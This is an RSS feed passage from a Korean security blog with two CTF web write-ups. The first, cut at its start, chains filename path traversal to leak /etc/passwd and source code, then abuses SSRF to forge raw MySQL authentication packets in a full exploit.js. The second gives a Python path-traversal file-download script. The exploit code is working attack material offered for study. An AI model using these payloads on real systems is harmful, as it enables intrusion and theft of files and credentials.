&lt;li&gt;register시 filename에 &lt;code&gt;'&lt;/code&gt;와같은 일부 문자를 넣을 시 replace처리되어 파일명에서 사라지는것을 확인할 수 있다.&lt;/li&gt;
&lt;li&gt;외부망 소스코드를 얻을때와 마찬가지로 &lt;code&gt;.'./&lt;/code&gt;를 입력하면 &lt;code&gt;../&lt;/code&gt;가 된다.&lt;/li&gt;
&lt;li&gt;이를 통해 register시 &lt;code&gt;.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./etc/passwd&lt;/code&gt;와 같이 파일명을 주어 가입하게 되면 /etc/passwd가 누출될것이다&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;img src=&quot;https://arang.kr/fiesta/fiesta1.png&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;외부망 소스코드를 얻을때와 마찬가지로 response message에 절대경로가 노출되고 있다.&lt;/li&gt;
&lt;li&gt;그리고 이렇게 에러가 나더라도 회원가입을 시도한 id와 pw로 로그인을 해보면 정상로그인 되는것을 확인할 수 있다.(잘못된 예외처리)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arang.kr/fiesta/fiesta6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;위와같이 로그인 후 &lt;code&gt;/getProfileImage?id={userid}&lt;/code&gt;를 통해 ../../../../etc/passwd를 넣어 가입했던 id의 profile image에 /etc/passwd의 파일 내용이 담긴것을 확인할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arang.kr/fiesta/fiesta7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;외부망과 마찬가지로 노출되었던 절대경로를 바탕으로 &lt;code&gt;/app/int_app/app.py&lt;/code&gt;를 누출해보면 내부망 소스코드와 두번째 플래그를 획득할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;두번째 flag 획득 &lt;code&gt;fiesta{cheerup!_y0u_c0uld_s0lve_the_l4st_p4rt!}&lt;/code&gt;&lt;/b&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;ssrf를 통해 mysql 임의 쿼리 실행, 마지막 플래그&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이제 유출된 소스코드들을 통해 white-box로 분석할 수 있다.&lt;/li&gt;
&lt;li&gt;외부망과 내부망은 서로 socket을 가지고 통신을한다. 이때 사용하는 socket은 세션을 유지하기 위해 외부망 flask의 &lt;code&gt;users&lt;/code&gt;라는 dict에 각 session의 uuid를 key로하여 메모리내에서 관리한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;prolog&quot;&gt;&lt;code&gt;# ext_app/app.py
def sessionCheck(loginCheck=False):       
    ...

    if flask.session[&quot;uuid&quot;] not in users:
        flask.session[&quot;host&quot;] = (&quot;172.22.0.4&quot;,9091)
        print(f&quot;[+] new socket conn {flask.session['uuid']}&quot;)
        users[flask.session[&quot;uuid&quot;]] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        users[flask.session[&quot;uuid&quot;]].connect(flask.session[&quot;host&quot;])&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이러한 세션은 각 페이지 접근 시 &lt;code&gt;sessionCheck&lt;/code&gt;함수를 통해 현재 세션을 가지고 있는지를 체크, 세션을 가지고 있지 않다면 &lt;code&gt;session['host']&lt;/code&gt;에 &lt;code&gt;172.22.0.4:9091(내부망)&lt;/code&gt;를 저장하고, 이를통해 socket을 연결한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;prolog&quot;&gt;&lt;code&gt;# ext_app/app.py
@socket_io.on(&quot;join&quot;)
def join(content):
    channel = content['channel']
    userid = content['userid']

    if flask.session[&quot;userid&quot;] == userid and flask.session[&quot;uuid&quot;] == channel:
        if 'chatserver' in content:
            if flask.session[&quot;uuid&quot;] in users:
                users[flask.session[&quot;uuid&quot;]].close()

            chatserver = content['chatserver']
            t = chatserver.split(':')
            flask.session[&quot;host&quot;] = (t[0], int(t[1]))

            users[flask.session[&quot;uuid&quot;]] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        
            users[flask.session[&quot;uuid&quot;]].connect(flask.session[&quot;host&quot;])

        flask.session[&quot;channel&quot;] = channel
        flask_socketio.join_room(channel)

        sioemit(&quot;join&quot;,{&quot;result&quot;:&quot;success&quot;}, channel)
    else:
        sioemit(&quot;join&quot;,{&quot;result&quot;:&quot;fail&quot;}, channel)&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하지만 socket.io가 &quot;join&quot;으로 emit할때, client에서 요청하는 파라미터 중 &lt;code&gt;chatserver&lt;/code&gt;라는 파라미터가 있을 시, 해당 파라미터를 통하여 &lt;code&gt;session[&quot;host&quot;]&lt;/code&gt;를 재설정하고, 이를 토대로 다시 socket connection을 맺는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;actionscript&quot;&gt;&lt;code&gt;/* exploit.js */
var sock = io.connect(`ws://52.78.132.206:9090/`);
sock.on('connect', function(){
    var data = {'channel':uuid, 'userid':userid, 'chatserver': '172.22.0.5:3306'};
    sock.emit(&quot;join&quot;,data);
});&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;따라서 위와같이 &lt;code&gt;join&lt;/code&gt; namespace에 emit할 때 요청되는 파라미터 중 &lt;code&gt;chatserver&lt;/code&gt; 파라미터를 통해 임의 호스트와 포트에 raw packet을 송신할 수 있는 SSRF 취약점이 발생하게 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# int_app/app.py
class mysqlapi:
    def __init__(self):
        self.conn = pymysql.connect( 
            user = 'chatdb_admin',
            passwd = 'th1s_1s_ch4tdb_4dm1n_p4ssw0rd',
            host = '172.22.0.5',
            db = 'chatdb',
            charset = 'utf8'
        )&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내부망 app.py에는 db connection을 맺는 정보가 나와있다. 따라서 mysql client가 mysql server와 맺는 connection 과정을 그대로 맺은 후 query를 전송하면 전송된 query의 결과를 돌려줄 것이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;# ext_app/app.py
@socket_io.on(&quot;chatsend&quot;)
def chatsend(content):
    if not sessionCheck(loginCheck=True):
        resp = &quot;[x] please login&quot;
        sioemit(&quot;newchat&quot;, resp, flask.session[&quot;channel&quot;])
        return

    if &quot;sendtome&quot; in content:
        sendtome_flag = True
    else:
        sendtome_flag = False

    try:
        if type(content) != dict:
            content = content.encode('latin-1')
            content = json.loads(content)

        if content[&quot;from&quot;] != flask.session[&quot;userid&quot;]:
            print(f&quot;[x] {content['from']} != {flask.session['userid']}&quot;)
            return &quot;[x] request from user is different from session&quot;

        if content[&quot;msg&quot;] == &quot;&quot;:
            return &quot;[x] blank content. please input content&quot;

    except Exception as e:
        pass

    resp = socksend(users[flask.session[&quot;uuid&quot;]], content)

    if sendtome_flag:
        sioemit(&quot;newchat&quot;, resp, users[flask.session[&quot;userid&quot;]])
    else:
        sioemit(&quot;newchat&quot;, resp, users[resp[&quot;to&quot;]])
        sioemit(&quot;newchat&quot;, resp, users[resp[&quot;from&quot;]])&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SSRF를 트리거하여 raw packet을 전송하려면 잘못 처리된 예외처리 구문을 이용하여야한다&lt;/li&gt;
&lt;li&gt;본래 client에서 정상적인 요청이라면, json 형식으로 올바르게 전송될 것이다. json형식에 맞지 않는 content가 전송될 경우 &lt;code&gt;content = json.loads(content)&lt;/code&gt;에서 exception이 발생하여 exception 처리 구문으로 가게된다.&lt;/li&gt;
&lt;li&gt;그런데 여기서 except 처리구문에는 아무 동작 없이 pass만 하고 지나간다. 따라서 에러가 발생한 이전 라인인 &lt;code&gt;content = content.encode('latin-1')&lt;/code&gt;이 실행된 채로 content 변수에 사용자의 input이 그대로 남아있게 되고, 이는 그대로 &lt;code&gt;resp = socksend(users[flask.session[&quot;uuid&quot;]], content)&lt;/code&gt;구문의 인자로 넘어가 전송되게된다.&lt;/li&gt;
&lt;li&gt;따라서 임의의 원하는 raw packet을 socket을 통해 전송할 수 있는것이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하지만 전송 후 받는 응답을 클라이언트로 잘 전달해야하는데, 나에게 보낼 경우 &lt;code&gt;users&lt;/code&gt; dict의 key로 &lt;code&gt;flask.session[&quot;userid&quot;]&lt;/code&gt;를 사용하는것에 비해, 나에게 보내지 않을 경우 송신자와 수신자 양쪽의 socket io channel에 전송하기 위하여 socket 전송의 결과를 가져와 거기서 송신자와 수신자를 파싱하게 된다.&lt;/li&gt;
&lt;li&gt;우리가 mysql에 직접 raw packet을 보내고 받는 응답값에는 당연히 송신자와 수신자 정보가 존재하지 않기 때문에 &lt;code&gt;sendtome_flag&lt;/code&gt;가 활성화 되어야만 raw packet 전송에 대한 응답값을 클라이언트로 수신할 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sendtome_flag&lt;/code&gt;는 content에 &lt;code&gt;sendtome&lt;/code&gt;가 있는지 검사하는 &lt;code&gt;if &quot;sendtome&quot; in content:&lt;/code&gt;라는 조건문에서 세팅되는데, content가 json이었다면 content dictionary에 sendtome라는 key가 존재하는지 검사하는 조건문이 되었겠지만, raw packet으로 보낼때는 string형의 content에 sendtome라는 단어가 존재하는지 검사하는 조건문이 되기 때문에 packet 안에 sendtome가 들어가기만 하면 나에게 보내는 분기를 활성화시킬 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이제 mysql conneciton 과정을 raw packet으로 재현해야하는데,
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;우리가 흔히 아는 &lt;code&gt;Gopherous&lt;/code&gt;로 payload를 만드는 경우는 mysql connection 시 password가 없을 때이다. password가 존재할 경우, mysql-server에서 authentication 방식을 어떤것으로 설정해놓았는지를 보아야 하는데, mysql 5버전의 경우 &lt;code&gt;mysql_native_password&lt;/code&gt;를 사용한다. (8.0 이상의 경우 &lt;code&gt;caching_sha2_password&lt;/code&gt;를 사용한다)&lt;/li&gt;
&lt;li&gt;주어진 Dockerfile에서 mysql 버전이 5.7인것을 확인했기 때문에, SSRF를 통해 mysql connection을 재현하기 위해선 mysql_native_password의 구성 원리와 connection 과정을 이해하여야한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://dev.mysql.com/doc/internals/en/images/graphviz-db6c3eaf9f35f362259756b257b670e75174c29b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/internals/en/connection-phase-packets.html&quot;&gt;mysql internals - connection phase packets&lt;/a&gt;를 살펴보면 connection 과정이 나오는데, 그냥 wireshark로 환경세팅 후 직접 connection phase를 캡쳐해보면 아래와 같이 진행되는것을 확인할 수 있다.
&lt;div&gt;&lt;img src=&quot;https://arang.kr/mysql_auth_packet.png&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; start=&quot;0&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;server greeting (connection 시 서버가 전송)&lt;/li&gt;
&lt;li&gt;send login request -&amp;gt; receive server seed&lt;/li&gt;
&lt;li&gt;send mysql_native_password hash-&amp;gt;receive auth ok&lt;/li&gt;
&lt;li&gt;(if password match) send mysql query -&amp;gt; receive query result&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;SHA1( password ) XOR SHA1( &quot;20-bytes random data from server(seed)&quot; + SHA1( SHA1( password ) ) )&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;img src=&quot;https://arang.kr/fiesta/fiesta9.png&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;1번단계에서 서버로부터 seed를 받아 이와 db password를 엮어 위와 같은 해시를 생성 후 2번단계에서 서버에 전송, 그 응답값을 확인하게된다.&lt;/li&gt;
&lt;li&gt;따라서 위와같은 과정들을 거치도록 raw packet을 구성하면 되는데, 문제는&lt;code&gt;sendtome&lt;/code&gt;, 즉 나에게 보내기 기능이 활성화 되어야 에러없이 raw packet send의 response를 받아올 수 있기 때문에, 각 단계의 패킷마다 &quot;sendtome&quot; 라는 문자열이 들어가야한다는 것이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;  0. server greeting (connection 시 서버가 전송)
  1. send login request -&amp;gt; receive server seed
  2. send mysql_native_password hash-&amp;gt;receive auth ok
  3. (if password match) send mysql query -&amp;gt; receive query result&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;mysql에서 packet을 주고받는것은 network에서 Application Layer에 해당하는데, mysql이 패킷을 주고받는 특성상, &lt;code&gt;이어지는 여러개의 패킷을 한번에 보내도록 구성한다거나(&quot;AAAABBBBCCCC&quot;)&lt;/code&gt;, &lt;code&gt;하나의 패킷을 두개로 쪼개 전송(&quot;AA&quot;,&quot;AA&quot;)&lt;/code&gt;하는등의 동작이 가능하다.&lt;/li&gt;
&lt;li&gt;이점을 이용하여 상기 단계로 구성되는 mysql connection &amp;amp; query packet을 &lt;b&gt;sendtome&lt;/b&gt;라는 문자열이 각 패킷에 들어갈 수 있게 구성하여야하는데, 중간에 server seed를 받아와 이를 통해 password hash를 생성해야하는 과정이 들어가있기 때문에 최소 2단계 이상으로 패킷을 나누어 구성하되 &lt;b&gt;sendtome&lt;/b&gt; 문자열이 패킷안에 들어가게끔 해야한다.&lt;/li&gt;
&lt;li&gt;다만 현재 socket을 통해 데이터를 주고받는 과정이 send-&amp;gt;recv-&amp;gt;send-&amp;gt;recv 와 같이 1:1로만 주고받고 있기 때문에, 1번단계에서 login request를 보내더라도 첫 recv에선 connection시 서버가 전송하는 server greeting 패킷이 수신되게 된다.&lt;/li&gt;
&lt;li&gt;따라서 server seed를 받아오기 위해선 send 이후 recv가 두번 실행되어야 하는데, 이를 이루기 위하여 위에서 설명한 &lt;code&gt;하나의 패킷을 두개로 쪼개 전송(&quot;AA&quot;,&quot;AA&quot;)하는&lt;/code&gt; 방법을 사용한다.
&lt;pre class=&quot;taggerscript&quot;&gt;&lt;code&gt;function step1(){
// step 1
//b'\xcb\x00\x00\x01\x8d\xa2\xbf\t\x00\x00\x00\x01\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00chatdb_admin\x00\x00chatdb\x00caching_sha2_password\x00t\x04_pid\x0516419\t_platform\x06x86_64\x03_os\x05Linux\x0c_client_name\x08libmysql\x07os_user\x05arang\x0f_client_version\x068.0.23\x0cprogram_name\x05sendtome'
p1 = convertFromHex(&quot;cb0000018da2bf0900000001ff00000000000000000000000000000000000000000000006368617464625f61646d696e00006368617464620063616368696e675f736861325f70617373776f72640074045f706964053136343139095f706c6174666f726d067838365f3634035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c076f735f75736572056172616e670f5f636c69656e745f76657273696f6e06382e302e32330c70726f6772616d5f6e616d650573656e64746f6d65&quot;)

setTimeout(function(){console.log(&quot;send 1 round&quot;);sock.emit(&quot;chatsend&quot;, p1);},500)
setTimeout(function(){console.log(&quot;send 2 round&quot;);sock.emit(&quot;chatsend&quot;, &quot;sendtome&quot;);},1500)
}&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;img src=&quot;https://arang.kr/fiesta/fiesta8.png?&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;첫번째 패킷&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b'\xcb\x00\x00\x01\x8d\xa2\xbf\t\x00\x00\x00\x01\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00chatdb_admin\x00\x00chatdb\x00caching_sha2_password\x00t\x04_pid\x0516419\t_platform\x06x86_64\x03_os\x05Linux\x0c_client_name\x08libmysql\x07os_user\x05arang\x0f_client_version\x068.0.23\x0cprogram_name\x05sendtome'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;두번째 패킷&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b'sendtome'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;mysql raw packet의 맨 앞 3바이트는 뒤에 올 패킷의 length인데, 이를 적절히 변조하여 마지막 sendtome 8byte만 빼고 보냄으로써 &lt;code&gt;TCP segment of a reassembled PDU&lt;/code&gt; 를 유도하고, send -&amp;gt; recv -&amp;gt; (send, 원래 첫번째패킷) -&amp;gt; recv가 되도록 만들어준다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;async function step2(serverSeed){        
    //// mysql native password hashing process
    // SHA1( password ) XOR SHA1( &quot;20-bytes random data from server&quot; &amp;lt;concat&amp;gt; SHA1( SHA1( password ) ) )
    console.log(&quot;[+] seed &quot;+btoa(serverSeed));
    var sp = await sha1(password);
    var ssp = await sha1(convertFromHex(sp))
    var sssp = await sha1(serverSeed+convertFromHex(ssp))
    console.log(&quot;[+] sssp &quot;+btoa(sssp));

    var hashedPassword = xor( convertFromHex(sp), convertFromHex(sssp) );
    console.log(&quot;[+] hashed password &quot;+btoa(hashedPassword))

    var p1 = &quot;\x14\x00\x00\x03&quot;+hashedPassword

    var query = &quot;select * from flag#sendtome&quot;;
    var p2 = `${String.fromCharCode(query.length+9)}\x00\x00\x00\x03${query}`

    var packet = p1+p2;
    setTimeout(function(){console.log(&quot;send 3 round&quot;);sock.emit(&quot;chatsend&quot;, packet);},500)
    setTimeout(function(){console.log(&quot;send 4 round&quot;);sock.emit(&quot;chatsend&quot;, &quot;sendtome&quot;);},1500)
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이로써 server seed를 얻었으므로 내부망 코드에서 알아낸 db 패스워드와 server seed를 조합하여 패스워드 해시를 만들어낸다.&lt;/li&gt;
&lt;li&gt;이번엔 두개의 패킷을 하나로 합쳐 한번에 보내는것으로(&quot;AAAABBBB&quot;) 패스워드 해시를 보내는 패킷과 query request 패킷을 하나로 합쳐보내며 query request 패킷의 요청 길이를 조작하여 sendtome(8byte)를 보낼 길이만큼 설정한다&lt;/li&gt;
&lt;li&gt;query를 &lt;code&gt;select * from flag#sendtome&lt;/code&gt;와 같이 끝에 주석처리를하여 뒤에 sendtome가 오더라도 정상적인 쿼리가 되도록 세팅 후 보내면, 서버와 주고받는 과정으로 flag가 날아오게된다&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;설명이 너무 복잡하여 그림과 글로 요약하면 아래와 같다.```&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;img src=&quot;https://arang.kr/fiesta/fiesta10.png&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;[TCP reassemble A] login request 전송&lt;/li&gt;
&lt;li&gt;[TCP reassemble A] sendtome(8byte) 전송&lt;/li&gt;
&lt;li&gt;[B] password hash + [TCP reassemble C] query request(+#sendtome) 전송&lt;/li&gt;
&lt;li&gt;[TCP reassemble C] sendtome(8byte) 전송
&lt;pre class=&quot;http&quot;&gt;&lt;code&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;최종 Exploit Code 및 마지막 Flag&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://arang.kr/fiesta/fiesta11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;마지막 플래그 &lt;code&gt;fiesta{mysql_int3rner_1s_s0_fun_isnt_1t?}&lt;/code&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;// author(arang)'s writeup

function ab2str(buf) {
    return new TextDecoder().decode(buf)
}

function Latin1ToUint8Array(iso_8859_1){
    var uInt8Arr = new Uint8Array(iso_8859_1.length);
    for(var i=0; i&amp;lt;iso_8859_1.length; i++){
        uInt8Arr[i] = iso_8859_1.charCodeAt(i);
    }
    return uInt8Arr;
}

function xor(key, phrase){
    var r = &quot;&quot;;
    for(var i=0; i&amp;lt;phrase.length; i++){
        r += String.fromCharCode( key.charCodeAt(i%key.length) ^ phrase.charCodeAt(i) );
    }
    return r;
}

function convertFromHex(hex) {
    var hex = hex.toString();
    var str = '';
    for (var i = 0; i &amp;lt; hex.length; i += 2)
        str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
    return str;
}

function addScript(cdnurl){
    var cjs_script = document.createElement(&quot;script&quot;);
    cjs_script.setAttribute('src',cdnurl);
    document.body.insertBefore(cjs_script,document.body.firstChild);    
}

async function sha1(message) {
  const msgUint8 = Latin1ToUint8Array(message);                           
  const hashBuffer = await Crypto.SHA1(msgUint8, {asBytes: true});
  const hashArray = Array.from(new Uint8Array(hashBuffer));                     
  const hashHex = hashArray.map(b =&amp;gt; b.toString(16).padStart(2, '0')).join(''); 
  return hashHex;
}

function step1(){
    // step 1
    //b'\xcb\x00\x00\x01\x8d\xa2\xbf\t\x00\x00\x00\x01\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00chatdb_admin\x00\x00chatdb\x00caching_sha2_password\x00t\x04_pid\x0516419\t_platform\x06x86_64\x03_os\x05Linux\x0c_client_name\x08libmysql\x07os_user\x05arang\x0f_client_version\x068.0.23\x0cprogram_name\x05sendtome'
    p1 = convertFromHex(&quot;cb0000018da2bf0900000001ff00000000000000000000000000000000000000000000006368617464625f61646d696e00006368617464620063616368696e675f736861325f70617373776f72640074045f706964053136343139095f706c6174666f726d067838365f3634035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c076f735f75736572056172616e670f5f636c69656e745f76657273696f6e06382e302e32330c70726f6772616d5f6e616d650573656e64746f6d65&quot;)

    setTimeout(function(){console.log(&quot;send 1 round&quot;);sock.emit(&quot;chatsend&quot;, p1);},500)
    setTimeout(function(){console.log(&quot;send 2 round&quot;);sock.emit(&quot;chatsend&quot;, &quot;sendtome&quot;);},1500)
}

async function step2(serverSeed){        
    //// mysql native password hashing process
    // SHA1( password ) XOR SHA1( &quot;20-bytes random data from server&quot; &amp;lt;concat&amp;gt; SHA1( SHA1( password ) ) )
    console.log(&quot;[+] seed &quot;+btoa(serverSeed));
    var sp = await sha1(password);
    var ssp = await sha1(convertFromHex(sp))
    var sssp = await sha1(serverSeed+convertFromHex(ssp))
    console.log(&quot;[+] sssp &quot;+btoa(sssp));

    var hashedPassword = xor( convertFromHex(sp), convertFromHex(sssp) );
    console.log(&quot;[+] hashed password &quot;+btoa(hashedPassword))

    var p1 = &quot;\x14\x00\x00\x03&quot;+hashedPassword

    var query = &quot;select * from flag#sendtome&quot;;
    var p2 = `${String.fromCharCode(query.length+9)}\x00\x00\x00\x03${query}`

    var packet = p1+p2;
    setTimeout(function(){console.log(&quot;send 3 round&quot;);sock.emit(&quot;chatsend&quot;, packet);},500)
    setTimeout(function(){console.log(&quot;send 4 round&quot;);sock.emit(&quot;chatsend&quot;, &quot;sendtome&quot;);},1500)
}

var round = 0;

var sock = io.connect(`ws://52.78.132.206:9090/`);
sock.on('connect', function(){
    var data = {'channel':uuid, 'userid':userid, 'chatserver': '172.22.0.5:3306'};
    sock.emit(&quot;join&quot;,data);
});

sock.on('join', function(data){
    console.log(data)
    if(data[&quot;result&quot;] == &quot;fail&quot;){
        alert(&quot;join room fail&quot;)
    }
})

// when get a new chat message
sock.on('newchat', function(data){
    var result = data;
    console.log(&quot;[+] newchat &quot;+result);
    round += 1
    if (round == 2){
        console.log(&quot;[+] yeah! I got the server seed&quot;)
        var serverSeed = result.split(&quot;native_password\x00&quot;)[1].slice(0,-1);
        step2(serverSeed);
    }
})

var password = &quot;th1s_1s_ch4tdb_4dm1n_p4ssw0rd&quot;;
addScript(&quot;https://arang.kr/sha1.js&quot;);
step1();&lt;/code&gt;&lt;/pre&gt;</description>
      <category>CTF/writeup</category>
      <author>ar9ang3</author>
      <guid isPermaLink="true">https://ar9ang3.tistory.com/68</guid>
      <comments>https://ar9ang3.tistory.com/68#entry68comment</comments>
      <pubDate>Wed, 3 Nov 2021 09:16:19 +0900</pubDate>
    </item>
    <item>
      <title>2021 화이트햇콘테스트(예선) 웹 분야 라이트업 (Whitehat Contest 2021)</title>
      <link>https://ar9ang3.tistory.com/67</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Imageflare (v1)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #2f3136; color: #b9bbbe;&quot;&gt;files = { 'file':('..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd', f, 'image/png') }&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;위와같이&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;span&gt;file name&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;을&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;구성함으로써&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;span&gt;file download&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;가&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;가능해진다&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1631615487643&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from arang import *
import re,sys

def dopow(x):
	for i in range(0,10000000):
		if hexencode(sha1(str(i)))[:5] == x:
			return i
	return 'false'

fname = urlencode(f&quot;../../../../../../../../../../../../{sys.argv[1]}&quot;).replace(&quot;/&quot;,&quot;%2f&quot;)

u = 'http://imageflare-v2.eyes-on.me/index.php'
headers = {
	'Cookie' : 'PHPSESSID=kbjdpdq19mrb40hqvf78ruov6e'
}
proxies = {&quot;https&quot;:&quot;https://127.0.0.1:8888/&quot;, &quot;http&quot;:&quot;http://127.0.0.1:8888/&quot;}

r = requests.get(u, headers=headers, verify=False)
powvalue = r.content.decode().split('PoW: Solve &amp;lt;code&amp;gt;sha1(x)[:5] == ')[1].split('&amp;lt;/code&amp;gt;')[0]
print(powvalue)

f = open(r&quot;D:\jw\tmp\a.png&quot;, 'rb')
print(fname)
files = {
	'file':(fname, f, 'image/png')
}

data = {&quot;pow&quot;:dopow(powvalue.encode()), &quot;upload&quot;:&quot;제출&quot;}


u = 'http://imageflare-v2.eyes-on.me/file_up.php'
r = requests.post(u, data=data, headers=headers, files=files, verify=False)
print(r.content)

u = 'http://imageflare-v2.eyes-on.me/index.php'
r = requests.get(u, headers=headers, verify=False)

rr = r.content.decode()

matches = re.findall(&quot;./download.php\\?sig=[0-9a-f]{32}\&quot;&amp;gt;.+&amp;lt;/a&amp;gt;&quot;, rr)
for i in matches:
	print(i)

sig = matches[-1].split('sig=')[1].split('&quot;')[0]
print(sig)
r = requests.get(f&quot;http://imageflare-v2.eyes-on.me/download.php?sig={sig}&quot;, headers=headers, verify=False)
print(r.content.decode())&lt;/code&gt;&lt;/pre&gt;
